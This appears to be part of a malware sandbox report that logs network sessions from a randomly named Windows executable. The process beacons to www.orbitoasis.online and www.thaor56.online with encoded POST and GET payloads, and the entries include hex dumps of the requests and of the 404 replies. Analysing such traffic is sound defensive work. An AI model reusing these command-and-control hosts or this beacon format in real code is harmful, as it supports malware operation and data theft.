Nov 20, 2024 09:23:26.444876909 CET	1236	IN	Data Raw: 28 6c 78 b1 9d 55 8b d3 b8 96 47 8a 0b b7 54 5a d0 dd 32 a5 cc 93 b8 5a 6c 23 95 6c 33 7a 7e d2 20 c8 d1 d7 65 cd cd a1 05 99 63 34 4b 78 bc 53 7a c7 a0 e3 d5 b5 ba 8f 6b 41 5f ec 0a ad 04 97 2b 9a 43 96 fe 59 8c 0b 53 23 9b a8 1d 1d d3 5d 52 b3 Data Ascii: (lxUGTZ2Zl#l3z~ ec4KxSzkA_+CYS#]R)+ ;$3Z3q-4j<ybh("0=ai-C]":dnYvMmn5f<oW7A '@ZU"kIQXV;;,K\|,wC
Nov 20, 2024 09:23:26.444910049 CET	62	IN	Data Raw: cc f7 fa e2 7f ff 17 70 45 e8 68 70 4d ed 03 95 3d ab cd bc 51 c8 7b 7c 3d c2 d7 5a 7b 84 9f e3 d7 e3 e5 99 dc b7 df fe 07 00 00 ff ff 03 00 24 f7 ec 9b 84 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: pEhpM=Q{\|=Z{$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49982	66.29.132.194	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:28.387253046 CET	786	OUT	POST /k6yn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.orbitoasis.online Origin: http://www.orbitoasis.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.orbitoasis.online/k6yn/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 67 50 42 36 32 5a 47 32 79 50 65 30 4f 46 54 50 4a 74 6c 65 74 4f 48 73 59 74 4e 61 65 47 52 4e 49 54 41 74 31 47 37 67 76 44 78 76 35 51 51 47 76 41 64 61 4f 35 67 59 46 59 58 4d 4c 43 41 37 57 73 79 5a 36 54 34 68 59 74 6f 4a 31 66 64 30 4f 37 4a 39 31 51 61 4b 73 70 6f 64 39 66 34 50 66 4b 75 57 69 37 42 7a 67 43 52 59 31 4f 72 73 6e 73 34 6a 2b 6d 72 77 32 45 59 54 69 52 6b 64 69 72 5a 52 30 4c 53 2f 32 6e 39 34 34 64 6e 74 69 6e 52 47 76 67 4d 73 41 33 47 32 50 62 4d 67 77 67 6d 6c 2b 44 38 49 6a 63 7a 77 4c 42 58 54 37 61 4f 67 72 72 32 69 44 63 55 37 4c 79 42 68 6f 4e 4e 44 6f 4e 2b 4f 34 50 4c 73 69 61 42 2f 48 51 3d 3d Data Ascii: prh4=gPB62ZG2yPe0OFTPJtletOHsYtNaeGRNITAt1G7gvDxv5QQGvAdaO5gYFYXMLCA7WsyZ6T4hYtoJ1fd0O7J91QaKspod9f4PfKuWi7BzgCRY1Orsns4j+mrw2EYTiRkdirZR0LS/2n944dntinRGvgMsA3G2PbMgwgml+D8IjczwLBXT7aOgrr2iDcU7LyBhoNNDoN+O4PLsiaB/HQ==
Nov 20, 2024 09:23:28.977950096 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 08:23:28 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 34 46 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 41 ad d4 bb b8 08 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 2b f3 cb cc ea cc fa ed b7 df 1e ff 89 5d 32 6b 43 e1 06 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 4d e7 db 6f 97 9f 89 5b 99 60 46 95 df bb c7 3a 6c 9e ee 98 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 16 a5 5b 3d d5 95 77 4f de 7d 4a c7 b4 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 2a 85 e9 27 e6 3f b2 82 eb f2 b0 70 cb ab 25 c8 3b ea a9 99 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 66 7c 5f da 66 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 90 b3 6a 30 cd ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 b6 32 e7 34 f8 fb 65 6a ff d9 37 0f 48 e7 de 33 93 30 3e 3d 0c a8 02 6c fb 65 20 b8 71 e3 56 a1 6d 7e 19 94 66 5a de 97 6e 11 7a 7f f9 71 59 19 9e dd 87 01 4a e4 dd [TRUNCATED] Data Ascii: 134FZrHr?OAa{7j$A$@$Hn85d.PRbKpD#++]2kCA~{\|31pMo[`F:l,N{7_v`[=wO}J__d4O'?p%;OwMyVTW'mB\|\|iXf\|_f>_v1j0y;EYVr{]/\|24ej7H30>=le qVm~fZnzqYJ8L_QevxwiaSc8a?n]~gt/Y7p2M +`=L ]Hf/;E5vy}zA_\Whqo_P!.\c=$?Sg\_kw7Bkt7r=W3_w&8EPM/mI7d#8''@[YUe$zu;fp)n;J#<YWzuLsk9L`bsb\|0\|^%OAVWeB~Wnwx]7lyqWp>Pnn6F.\|XoPG+Sr>2hF"?f'KA{dK71>j#W{}>Lnn!AOh^:?8W
Nov 20, 2024 09:23:28.977981091 CET	1236	IN	Data Raw: 73 c6 a7 04 4a e0 6f 6a 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 70 a4 2f 8a 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 85 97 67 e5 25 42 3d 0c 0a 37 06 be ae b9 31 c0 7e 4e ef b1 80 fd b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7c ba 20 fb d9 ae df cf 7b 63 Data Ascii: sJojxoOp/6g%B=71~N t7}cU\| {c_qQ~7/KQOEJ{_+-5j_. _WC@HCY~U!3gHbO5*z~qVuq\Go^
Nov 20, 2024 09:23:28.977999926 CET	448	IN	Data Raw: 3d 13 70 bb 70 59 e2 93 05 2c 1a 6d b8 ec 34 c1 77 b9 b9 9d 58 92 38 b1 6d 41 63 9c 4e 77 0d 33 9d e6 ea 4c a2 75 56 9c 76 2d 6a 07 b3 90 a6 b2 24 3a e3 1d 81 c7 50 5a 6f f9 64 1b 44 6a 89 98 23 63 6c 08 1b 77 3c c6 12 b4 da c7 3a cd 05 73 71 12 Data Ascii: =ppY,m4wX8mAcNw3LuVv-j$:PZodDj#clw<:sqzyYq'~u*8tLej-%Pr?Zs-}\q]lZ\|t: GfRj#Up,)jf(6r/bRwjE8D^x)psBZ^D^nCeST j
Nov 20, 2024 09:23:28.978677988 CET	1236	IN	Data Raw: d6 72 ec 91 d9 86 b3 e6 24 35 1c 8e 54 75 8e 2c e4 62 7d c0 aa 70 eb d9 d3 34 40 02 45 cc 0d 6e c3 1f 12 9a 72 31 6b 32 d4 f1 56 ea c2 2c e4 0a 2d c1 d2 3a 70 48 55 63 28 52 6c d7 1a b5 45 97 63 85 2a ad 8a 51 4e 92 e4 cf 72 08 85 45 b3 3b f2 94 Data Ascii: r$5Tu,b}p4@Enr1k2V,-:pHUc(RlEcQNrE;v.$5QL1rMRNs^-/zxYL9JoZ9]e9:h+8x2sl(dl@V4bLNs_G.]MyvV1e!9k/M
Nov 20, 2024 09:23:28.978702068 CET	1079	IN	Data Raw: 0e a0 e8 87 4b d6 f0 84 ca a2 7c 84 2c 77 0f 02 a6 43 12 a3 e1 b8 55 0c 4f 26 f3 3d 6d 23 3e 34 9b 87 73 23 94 8b 49 41 34 e8 be 68 1c ab 32 cf 39 3a 5a af 98 a5 b7 cf 73 29 e4 d9 51 b8 39 16 d8 18 cd 36 59 a4 8f a8 d9 44 1f 4e f9 74 27 b6 ed 30 Data Ascii: K\|,wCUO&=m#>4s#IA4h29:Zs)Q96YDNt'0h1}`\0MXMYR# Du!NxMf#\sJa$>Y9kKEEd^GChj8bJtsvj=!a~o:MN1`B5=ez(D3qP6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49983	66.29.132.194	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:30.933165073 CET	1799	OUT	POST /k6yn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.orbitoasis.online Origin: http://www.orbitoasis.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.orbitoasis.online/k6yn/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 67 50 42 36 32 5a 47 32 79 50 65 30 4f 46 54 50 4a 74 6c 65 74 4f 48 73 59 74 4e 61 65 47 52 4e 49 54 41 74 31 47 37 67 76 44 35 76 35 6d 6b 47 76 6a 46 61 50 35 67 59 47 59 58 52 4c 43 41 71 57 73 37 51 36 55 77 62 59 76 67 4a 31 38 56 30 48 76 6c 39 37 51 61 4b 7a 5a 6f 51 69 50 34 67 66 4f 79 61 69 37 52 7a 67 43 52 59 31 50 37 73 68 2b 41 6a 74 32 72 33 38 6b 59 58 6f 42 6b 6c 69 71 77 6d 30 4c 57 76 32 57 64 34 34 39 58 74 6a 52 4e 47 7a 77 4d 71 4a 6e 48 78 50 62 41 2f 77 67 36 70 2b 43 49 6d 6a 65 7a 77 4a 6b 2b 50 73 72 4f 58 2b 35 79 74 4e 64 6b 44 46 45 67 47 67 4f 52 41 73 49 2b 77 6b 4c 6a 6e 68 2b 4d 59 66 67 2f 44 47 33 51 68 77 59 68 6f 7a 4f 67 6a 59 6a 75 50 71 56 76 75 69 35 74 7a 4e 34 65 42 4b 33 34 6c 47 32 5a 35 38 55 35 33 53 76 49 35 4c 48 70 53 48 7a 58 4d 73 4c 6d 68 62 47 7a 5a 2b 63 30 74 6f 47 2b 46 52 37 6a 67 52 46 6a 34 52 59 58 75 37 51 33 55 51 33 34 4d 37 70 4e 6d 46 74 6a 41 72 57 67 51 35 44 36 34 57 53 4e 52 43 48 53 73 4b 62 4c 37 79 52 61 35 52 [TRUNCATED] Data Ascii: prh4=gPB62ZG2yPe0OFTPJtletOHsYtNaeGRNITAt1G7gvD5v5mkGvjFaP5gYGYXRLCAqWs7Q6UwbYvgJ18V0Hvl97QaKzZoQiP4gfOyai7RzgCRY1P7sh+Ajt2r38kYXoBkliqwm0LWv2Wd449XtjRNGzwMqJnHxPbA/wg6p+CImjezwJk+PsrOX+5ytNdkDFEgGgORAsI+wkLjnh+MYfg/DG3QhwYhozOgjYjuPqVvui5tzN4eBK34lG2Z58U53SvI5LHpSHzXMsLmhbGzZ+c0toG+FR7jgRFj4RYXu7Q3UQ34M7pNmFtjArWgQ5D64WSNRCHSsKbL7yRa5RbwRBw2nWxO4yF9OtplvzcFZPGRzS3e6oh9ELQWXJkE0dwLjwEb+mFNDd7xHfHseKiE1wMtMXwcCANViiBs0i+BWQ4RdlXF8yMX5khWlUyqq+XOaYQHDkKWODQuAF2sEBkAtnDizSgvK8EChj8V1KsdfYwSc/N943Y6rOl6ImY6m+ZGmRJzLq0pblPXiNp5jcm+7uqG5s3rBnDTgt2dM9Z+JFyGU+Add+vWIzQl0oOBJQjsvuprFMxOiLzcFltsFFsy+EJTwLNYPYf6kPB+UC8rr5RcWpV4IxspnOyqAhiShWO/2AqOS5eURm4UyQeGxjCHbvB/7YDAh66N28WQw5b89W2SnVbfZEeb/UEvapB2Xvgdq2JaXahEs1NfJrSKII3hx+zM55clH2ymr+4tzP82cThpZ+Qk+w2GIWR+sdcdLo8OaFcjQ9UsC0rDbEzpoyXYVGjoh4OoI9PSHlCxHsp+nCuHmeQhGoDbyLzd0Pzw/Bif/8k/MujL//FZG7Jn0xCNEf9iiIfshLZfj5DjrbehdurfOmE2eQG/th0dd4oYRDkhP0GCyQJXhs7jKHKrcpyvfCa+FS7j7VOPGSLoazAIkxV++AMELzO1JaLAbhqFJJd7BIo7Lo3bVslLVuxNtNw2z4TeENdWmoWKHOM8UYyXqKTt4DelBdOO [TRUNCATED]
Nov 20, 2024 09:23:31.531133890 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 08:23:31 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 05 44 6f f7 ec ea 86 24 40 42 12 08 10 0e c7 09 dd 25 74 45 77 d8 f0 03 f9 35 fc 64 2e d1 dd d3 34 d3 7d 66 d6 e1 1f ae f9 d1 a8 2e 59 59 99 5f 66 d6 64 d6 6f bf fd f6 f8 4f ec 92 59 1b 0a 37 08 aa 24 fe f6 db e3 f3 9f 01 68 8f 81 6b 3a df 7e bb fc 4c dc ca 04 33 aa fc de 3d d6 61 f3 74 c7 64 69 e5 a6 d5 7d 75 ca dd bb 81 fd fc f5 74 57 b9 5d 05 f7 24 fe 32 b0 03 b3 28 dd ea a9 ae bc 7b f2 ee 53 3a a6 1d b8 f7 fd fa 22 8b af 08 a5 d9 bd dd 0f 7d ba 50 29 4c 3f 31 ff 91 15 5c 97 87 85 5b 5e 2d 41 de 51 4f cd c4 7d ba 6b 42 b7 cd b3 a2 ba 9a d6 86 4e 15 3c 39 6e 13 da ee fd e5 e3 cb 20 4c c3 2a 34 e3 fb d2 36 63 f7 09 fd fa 9d 54 15 56 b1 fb 8d 40 88 81 9c 55 83 69 56 a7 ce 23 fc dc f9 2c ca b2 3a c5 ee a0 97 db 8b b8 ec b2 7c e1 a3 17 b5 95 39 a7 c1 df 2f 53 fb cf be 79 40 3a f7 9e 99 84 f1 e9 61 40 15 60 db 2f 03 c1 8d 1b b7 0a 6d f3 cb a0 34 d3 f2 be 74 8b d0 fb cb 8f cb ca f0 ec 3e 0c 50 22 ef de [TRUNCATED] Data Ascii: 1359ZJrnhztDo$@B%tEw5d.4}f.YY_fdoOY7$hk:~L3=atdi}utW]$2({S:"}P)L?1\[^-AQO}kBN<9n L46cTV@UiV#,:\|9/Sy@:a@`/m4t>P"anJ`p,#TgK{?uMSap;kWa~GylYXqfG}g}z@Jf]e7{.(r~tnWZ^VfU@;{g_hue~^!8.]^}o>Z7wM3F+6)z?ulziocWPN>!Io<?>nKou%tt=x%woq0{=KqU6>!{6Mg[yeFd}_cg/a\|*C7{Erw8az~8mpCp7_ot F}zGp&^n%>ZY)A07=_: +%n],yVCar+wt~Dry
Nov 20, 2024 09:23:31.531155109 CET	1236	IN	Data Raw: 33 3e 25 50 02 7f 53 c3 1b 3f 7f 4b 5c 27 34 07 7f 4a 80 23 7d 51 cc 78 44 e6 dd 9f 6f b6 b9 45 ed cd 70 2f bc 3c 2b 2f 11 ea 61 50 b8 31 f0 75 cd 8d 01 f6 73 7a 8f 05 ec a7 7d 18 04 a1 e3 b8 e9 1b 4b fd 68 df ae e2 d3 05 d9 cf 76 fd 7e de 1b fb Data Ascii: 3>%PS?K\'4J#}QxDoEp/<+/aP1usz}Khv~[>"Vx\z*/RnH_}o@Q^Xwia\|S\|zv]=@]ROoOg>Fz{21dWo^3oeZer^o>z=
Nov 20, 2024 09:23:31.531167030 CET	448	IN	Data Raw: 4c c0 ed c2 65 89 4f 16 b0 68 b4 e1 b2 d3 04 df e5 e6 76 62 49 e2 c4 b6 05 8d 71 3a dd 35 cc 74 9a ab 33 89 d6 59 71 da b5 a8 1d cc 42 9a ca 92 e8 8c 77 04 1e 43 69 bd e5 93 6d 10 a9 25 62 8e 8c b1 21 6c dc f1 18 4b d0 6a 1f eb 34 17 cc c5 49 34 Data Ascii: LeOhvbIq:5t3YqBwCim%b!lKj4I4JGZf12,850nm2@gs1hquQiLOq{wKA:TZ$T\rCiIMwz tz5Jshy)Sy5>*PMQ](
Nov 20, 2024 09:23:31.531411886 CET	1236	IN	Data Raw: cb b1 47 66 1b ce 9a 93 d4 70 38 52 d5 39 b2 90 8b f5 01 ab c2 ad 67 4f d3 00 09 14 31 37 b8 0d 7f 48 68 ca c5 ac c9 50 c7 5b a9 0b b3 90 2b b4 04 4b eb c0 21 55 8d a1 48 b1 5d 6b d4 16 5d 8e 15 aa b4 2a 46 39 49 92 3f cb 21 14 16 cd ee c8 53 da Data Ascii: Gfp8R9gO17HhP[+K!UH]k]F9I?!S@kpF38'!6I;ywV4-"g)W3i$v#TsT2r,.,$p][YZL'939}ZvS7YE<tz@4Q
Nov 20, 2024 09:23:31.531425953 CET	1074	IN	Data Raw: 80 a2 1f 2e 59 c3 13 2a 8b f2 11 b2 dc 3d 08 98 0e 49 8c 86 e3 56 31 3c 99 cc f7 b4 8d f8 d0 6c 1e ce 8d 50 2e 26 05 d1 a0 fb a2 71 ac ca 3c e7 e8 68 bd 62 96 de 3e cf a5 90 67 47 e1 e6 58 60 63 34 db 64 91 3e a2 66 13 7d 38 e5 d3 9d d8 b6 c3 44 Data Ascii: .Y=IV1<lP.&q<hb>gGX`c4d>f}8Dt"j2<q84bm;p6e&JaT:5aVB0t8<7s!n)Wf-%zO`XI(B46;PIIdlbk$Fr6,eCD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49984	66.29.132.194	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:33.481877089 CET	498	OUT	GET /k6yn/?_VK8=7pXD8zQxGFxP&prh4=tNpa1p20+8HvGGTGCcJ0ltHXQ7hkDEI9aQgmgnvjgQBap2YCvQVXfu4lL5fLGicbWcSejDEnKeIqzsVAbPYV6QWKx4B669tBZ47n68xm5CBB0u297w== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.orbitoasis.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:23:34.156001091 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Wed, 20 Nov 2024 08:23:34 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 2784<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Nov 20, 2024 09:23:34.156147003 CET	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Nov 20, 2024 09:23:34.156158924 CET	1236	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Nov 20, 2024 09:23:34.156188011 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { te
Nov 20, 2024 09:23:34.156207085 CET	1236	IN	Data Raw: 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 Data Ascii: 9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTE
Nov 20, 2024 09:23:34.156219959 CET	1120	IN	Data Raw: 70 34 56 46 69 4c 38 57 4d 2f 43 6c 38 53 46 34 70 67 74 68 76 74 48 6d 34 71 51 55 49 69 51 64 59 2b 35 4e 4d 66 75 2f 32 32 38 50 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a Data Ascii: p4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFtt
Nov 20, 2024 09:23:34.156230927 CET	1236	IN	Data Raw: 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 50 50 42 76 77 7a 71 4f 6c 75 54 76 68 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 48 2b 55 6c 35 58 49 2f Data Ascii: N7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuT
Nov 20, 2024 09:23:34.156420946 CET	1236	IN	Data Raw: 20 34 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: 450%; } } </style> </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">404</span> <span class="status-reason">Not
Nov 20, 2024 09:23:34.156435013 CET	574	IN	Data Raw: 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: /li> </ul> </div> </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=log

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49985	202.92.5.23	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:39.885498047 CET	753	OUT	POST /cboa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.thaor56.online Origin: http://www.thaor56.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.thaor56.online/cboa/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 64 64 7a 52 46 58 70 53 35 69 49 5a 39 33 30 71 66 4f 52 33 2f 31 32 6a 49 64 73 4a 63 39 50 64 4b 54 5a 57 46 30 62 30 70 50 67 37 45 6f 4f 30 48 6d 70 32 72 2b 46 63 58 7a 64 69 45 43 4e 7a 32 4a 69 56 67 64 4b 4d 56 57 48 41 4c 6b 72 57 57 43 55 48 30 66 37 6c 47 72 41 50 61 57 63 4e 4e 7a 48 56 51 55 7a 53 6d 46 42 35 38 59 6b 33 4b 70 41 35 51 51 63 4e 5a 45 6e 71 35 2b 6b 6b 74 57 63 4a 4d 78 44 6e 30 48 7a 6e 46 4e 62 59 74 62 6a 7a 58 4b 30 61 39 42 75 70 31 4c 4a 59 48 42 53 57 56 2f 45 2f 76 47 66 41 79 30 6f 49 55 77 57 4c 4a 37 61 77 59 78 30 Data Ascii: 